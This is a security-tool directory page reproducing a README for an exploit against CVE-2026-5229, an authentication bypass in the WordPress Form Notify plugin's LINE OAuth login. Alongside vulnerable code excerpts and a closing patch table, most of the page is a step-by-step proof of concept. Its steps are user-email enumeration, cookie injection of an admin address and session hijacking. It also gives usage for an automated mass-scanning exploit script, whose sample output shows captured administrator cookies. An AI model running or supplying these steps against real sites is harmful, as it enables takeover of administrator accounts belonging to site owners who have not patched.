Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-5229 — CVE-2026-5229: تجاوز مصادقة Form Notify عبر استدعاء LINE OAuth (CVSS 9.8) | Kitploit
أدوات/GitHubGitHub/xxconi/cve-2026-5229
ماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالتعلم والتعليم
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229: تجاوز مصادقة Form Notify عبر استدعاء LINE OAuth (CVSS 9.8)

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-5229

CVE-2026-5229: تجاوز مصادقة Form Notify عبر رد اتصال LINE OAuth (CVSS 9.8)

Form Notify — ماسح تجاوز مصادقة LINE OAuth

الإضافة: Form Notify (form-notify) نوع الثغرة: تجاوز مصادقة LINE OAuth بدون تسجيل دخول ← الاستيلاء على الحساب درجة CVSS: 9.8 (حرجة) متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H الإصدارات المتأثرة: <= 1.1.10 الإصدار المُصحح: 1.1.11+ الباحث: Paolo Tresso — Wordfence


📌 حول الثغرة

إضافة Form Notify هي إضافة ووردبريس ترسل إشعارات بعد إرسال النماذج وتوفر تكامل LINE Login OAuth 2.0.

تقع الثغرة في معالج رد الاتصال (callback handler) الخاص بـ LINE OAuth. بعد أن يكمل المستخدم تدفق تفويض LINE، تحدد الإضافة حساب ووردبريس استنادًا إلى عنوان البريد الإلكتروني فقط. ولا تتحقق إطلاقًا مما إذا كان حساب LINE مرتبطًا مسبقًا بحساب ووردبريس هذا.


🔍 جدول الثغرة حسب الإصدار

الإصدارالثغرةطريقة الهجوم
<= 1.1.08حقن الكوكيز + مطابقة البريد الإلكترونيالمسار A أو المسار B
1.1.09 – 1.1.10مطابقة البريد الإلكتروني (تمت إزالة الكوكيز)المسار B
1.1.11+مُصحح—

⚙️ التحليل الفني

نقطة نهاية REST مفتوحة

نقطة نهاية رد الاتصال الخاصة بـ LINE OAuth مسجلة لتكون عامة تمامًا:

root@kitploit:~
// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // kimlik doğrulama gerekmez
        },
    )
);

لماذا لا يوفر Nonce الحماية؟

إن رموز nonce في ووردبريس هي رموز CSRF وليست رموز مصادقة. يمكن لأي زائر الحصول على nonce صالح من HTML الصفحة واجتياز فحص التحقق.


تحديد الحساب عبر البريد الإلكتروني (1.1.10)

root@kitploit:~
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
root@kitploit:~
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // sadece email ile arama
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // linkage kontrolü YOK
    }
    return false;
}

إذا وُجد تطابق، تفتح دالة login() جلسة فورًا:

root@kitploit:~
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

حقن الكوكيز (<= 1.1.08)

root@kitploit:~
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

عندما لا يُرجع ملف تعريف LINE بريدًا إلكترونيًا ($user->email فارغ)، تقرأ الإضافة كوكي المتصفح مباشرةً. يتحكم المهاجم في هذه الكوكي بالكامل.


ضعف التحقق من الحالة (State)

root@kitploit:~
$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // Transient yoksa $_SESSION'a düşer
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

عند انتهاء صلاحية الـ transient، يعمل البديل $_SESSION. في معظم تثبيتات ووردبريس، لا تكون $_SESSION ممتلئة عند هذه النقطة ← يمكن تجاوز فحص الحالة.


مشكلة ثانوية — البريد الإلكتروني = كلمة المرور (<= 1.1.10)

root@kitploit:~
// sign_up() metodu
$userdata = array(
    'user_pass' => $user_email,  // şifre = email adresi
    ...
);

في الحسابات التي يتم إنشاؤها عبر تدفق LINE OAuth، تكون كلمة المرور مطابقة لعنوان البريد الإلكتروني. وهذا يسمح مباشرة بهجوم تخمين (brute-force) أو هجوم تسجيل دخول.


🔴 لماذا هي حرجة؟

السببالوصف
لا يتطلب مصادقةنقطة نهاية الاستدعاء عامة بالكامل
لا يوجد تحقق من الارتباطأي حساب LINE يكفي
هجوم الكوكيزفي <= 1.1.08 لا يتطلب حتى بريدًا إلكترونيًا
جميع الحسابات بما فيها المسؤولget_user_by('email') يؤثر على الجميع
تحكم ضعيف بالحالةيمكن تجاوز حماية CSRF
البريد الإلكتروني = كلمة المرورالحسابات المفتوحة عبر OAuth عرضة لهجوم تخمين سهل

🧪 إثبات المفهوم (يدوي)

⚠️ إخلاء المسؤولية: يُقدَّم إثبات المفهوم هذا لأغراض تعليمية واختبار أمان مصرح به فقط. اختبار الأنظمة دون إذن صريح غير قانوني.

المتطلبات الأساسية:

  • إضافة Form Notify مثبتة ومفعّلة، مع إعداد LINE Login
  • حساب مطوّر LINE وقناة LINE Login
  • صفحة تحتوي على زر LINE login في الموقع المستهدف

المسار A — حقن الكوكيز (<= 1.1.08)

الخطوة 1 — اكتشاف البريد الإلكتروني المستهدف

root@kitploit:~
TARGET="https://target.com"

# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location

الخطوة 2 — ضبط الكوكي

افتح أدوات مطور المتصفح والصق في الكونسول:

root@kitploit:~
document.cookie = "[email protected]; path=/";

أو عبر curl:

root@kitploit:~
curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

الخطوة 3 — بدء تدفق LINE OAuth

افتح عنوان LINE OAuth الموجود في ترويسة Location في المتصفح.

الخطوة 4 — أكمل دون منح نطاق البريد الإلكتروني

في شاشة موافقة LINE، لا تمنح إذن البريد الإلكتروني أو استخدم حساب LINE بدون بريد إلكتروني. يعيد LINE التوجيه إلى رد الاتصال دون بريد إلكتروني. تقع الإضافة في الكوكي.

الخطوة 5 — تحقق من الجلسة

root@kitploit:~
curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

الاستجابة المتوقعة:

root@kitploit:~
{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

المسار B — مطابقة البريد الإلكتروني (<= 1.1.10)

الخطوة 1 — اكتشاف البريد الإلكتروني المستهدف

مطابق للخطوة 1 في المسار A.

الخطوة 2 — إنشاء حساب LINE

أنشئ حساب LINE بالبريد الإلكتروني المستهدف على account.line.biz. (يتطلب التحقق من البريد الإلكتروني — يلزم الوصول إلى صندوق بريد الهدف.)

الخطوة 3 — بدء تدفق OAuth

root@kitploit:~
https://target.com/wp-json/form-notify/v1/login

الخطوة 4 — أكمل بمنح نطاق البريد الإلكتروني

في شاشة موافقة LINE، امنح إذن البريد الإلكتروني. يُرجع LINE عنوان البريد الإلكتروني إلى رد الاتصال.

الخطوة 5 — المصادقة التلقائية

root@kitploit:~
Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → Administrator bulundu
     → wp_set_auth_cookie(1)
     → Oturum açıldı ✓

🛠️ الماسح التلقائي

التثبيت

root@kitploit:~
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 الاستخدام

هدف واحد — اكتشاف البريد الإلكتروني تلقائيًا

root@kitploit:~
python form_notify_rce.py -u http://hedef.com

المسار A مع بريد إلكتروني محدد (حقن الكوكيز)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path A

المسار B (مطابقة البريد الإلكتروني) — إكمال يدوي

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path B

كلا المسارين معًا

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path both

الفحص الجماعي

root@kitploit:~
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt

عبر بروكسي (Burp Suite)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

⚙️ المعاملات

المعاملالاختصارالوصفالافتراضي
--url-uعنوان URL لهدف واحد—
--list-lملف قائمة الأهداف—
--threads-tعدد الخيوط10
--output-oملف الإخراجauth_bypass.txt
--email—البريد الإلكتروني للمستخدم المستهدفاكتشاف تلقائي
--path—مسار الهجوم (A / B / both)both
--max-users—أقصى عدد مستخدمين لكل هدف5
--proxy—عنوان URL للبروكسي—
--timeout—مهلة الطلب (ثانية)10

📊 حالات مخرجات الماسح

الحالةالوصف
★ AUTH OKتم الحصول على كوكي الجلسة — تلقائي بالكامل
★ WP-ADMINتمت إعادة التوجيه إلى /wp-admin
~ MANUALعنوان OAuth جاهز، أكمله في المتصفح
~ PATH Bخطوات يدوية مع حساب LINE
- NO_PLUGINإضافة Form Notify غير مثبتة
- NO_LINELINE Login غير مفعّل
~ NO_TARGETلم يتم العثور على بريد إلكتروني للمستخدم
~ UNREACHتعذر الوصول إلى الهدف

🖥️ مثال على مخرجات الماسح

root@kitploit:~
[*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10

[★ AUTH OK   ] http://hedef1.com  (Path A)
  Hedef Email : [email protected]
  Sürüm       : 1.1.08
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  Kullanıcı   : admin <[email protected]> roles=['administrator']
  Cookie      : {'wordpress_logged_in_abc123': 'admin|...'}

[~ MANUAL    ] http://hedef2.com  (Path A — Manuel tamamlama)
  Hedef Email : [email protected]
  Cookie Set  : [email protected]
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  State       : a1b2c3d4e5f6

[- NO_LINE   ] http://hedef3.com  (LINE Login aktif değil)

──────────────────────────────────────────────────────────────
  DONE                        :    2
  NO_LINE                     :    1
──────────────────────────────────────────────────────────────
  Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────

🛡️ الدفاع / التصحيح

الإجراءالتطبيق
تحديث الإضافةقم بترقية Form Notify إلى الإصدار 1.1.11+
التحقق من ارتباط LINEاحفظ LINE ID في بيانات المستخدم (user meta) وتحقق منه عند كل تسجيل دخول
إزالة الكوكي البديلأزل استخدام $_COOKIE['form_notify_line_email']
التحقق من الحالةأزل البديل transient وارفض الحالة منتهية الصلاحية
سياسة كلمة المرورلا تستخدم البريد الإلكتروني ككلمة مرور في sign_up()
حماية نقطة نهاية RESTطبّق تحديد معدل (rate limiting) على نقطة نهاية الاستدعاء

مثال على تحديد الحساب بشكل آمن:

root@kitploit:~
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );

// Güvenli (önerilen)
$users = get_users( array(
    'meta_key'   => 'line_user_id',
    'meta_value' => $line_user_id,  // LINE ID ile eşleştir
) );

📁 هيكل الملفات

root@kitploit:~
form-notify-bypass/
├── form_notify_rce.py   # Ana tarayıcı
├── requirements.txt     # Bağımlılıklar
└── README.md            # Bu dosya

⚠️ إخلاء المسؤولية القانوني

تم إعداد هذه الأداة وإثبات المفهوم للاستخدام فقط على الأنظمة المصرح بها، ولأغراض تعليمية وفي إطار اختبار الاختراق. الاستخدام على أنظمة دون إذن يشكل جريمة بموجب المواد 243-245 من قانون العقوبات التركي والقوانين الدولية للجرائم الإلكترونية. لا يتحمل المطور أي مسؤولية قانونية ناتجة عن إساءة استخدام الأداة.


📄 الترخيص

رخصة MIT — لأغراض التعليم والبحث فقط.


🔗 المراجع

  • استشارة Wordfence
  • وثائق LINE Login OAuth 2.0
  • دليل إضافات ووردبريس — Form Notify
  • حاسبة CVSS 3.1
  • أفضل ممارسات أمان OAuth 2.0 — RFC 9700
تنزيل الأداة